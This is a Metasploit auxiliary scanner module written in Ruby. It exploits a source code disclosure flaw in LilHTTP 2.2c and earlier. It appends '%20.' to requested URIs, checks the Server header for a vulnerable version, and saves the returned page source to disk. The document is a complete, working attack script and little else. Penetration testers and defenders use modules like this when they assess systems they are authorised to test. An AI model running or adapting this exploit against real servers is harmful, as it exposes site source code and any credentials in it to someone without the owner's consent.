LilHTTP Source Code Disclosure/Download

`##  
# $Id: lilhttp_source_disclosure.rb 12196 2011-05-27 00:51:33Z egypt $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'LilHTTP Source Code Disclosure/Download',  
'Description' => %q{  
This module exploits a source code disclosure/download vulnerability in  
versions 2.2c and prior of LilHTTP.  
},  
'Version' => '$Revision: 12196 $',  
'References' =>  
[  
[ 'URL', 'http://www.summitcn.com/lilhttp/lildocs.html' ]  
],  
'Author' =>  
[  
'Treasure Priyamal',   
'http://treasuresec.com',  
'treasure[at]treasuresec.com'  
  
],  
'License' => MSF_LICENSE)  
  
register_options(  
[  
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/index.html']),  
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '/home/zero']),  
], self.class)  
end  
  
def target_url  
"http://#{vhost}:#{rport}#{datastore['URI']}"  
end  
  
def run_host(ip)  
uri = datastore['URI']  
path_save = datastore['PATH_SAVE']  
  
vuln_versions = [  
"LilHTTP/2.2c" # Only Tested on 2.2c version might work on others versions too  
]  
  
disclosure = "%20."  
  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/#{uri}#{disclosure}",  
}, 25)  
  
version = res.headers['Server'] if res  
  
if vuln_versions.include?(version)  
print_good("#{target_url} - LilHTTP - Vulnerable version: #{version}")  
  
if (res and res.code == 200)  
  
print_good("#{target_url} - LilHTTP - Getting the source of page #{uri}")  
  
save_source = File.new("#{path_save}#{uri}","w")  
save_source.puts(res.body.to_s)  
save_source.close  
  
print_status("#{target_url} - LilHTTP - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))  
  
else  
print_error("http://#{vhost}:#{rport} - LilHTTP - Unrecognized #{res.code} response")  
return  
  
end  
  
else  
if version =~ /LilHTTP/  
print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not vulnerable - Version #{version}")  
else  
print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not LilHTTP")  
end  
return  
  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
  
end  
`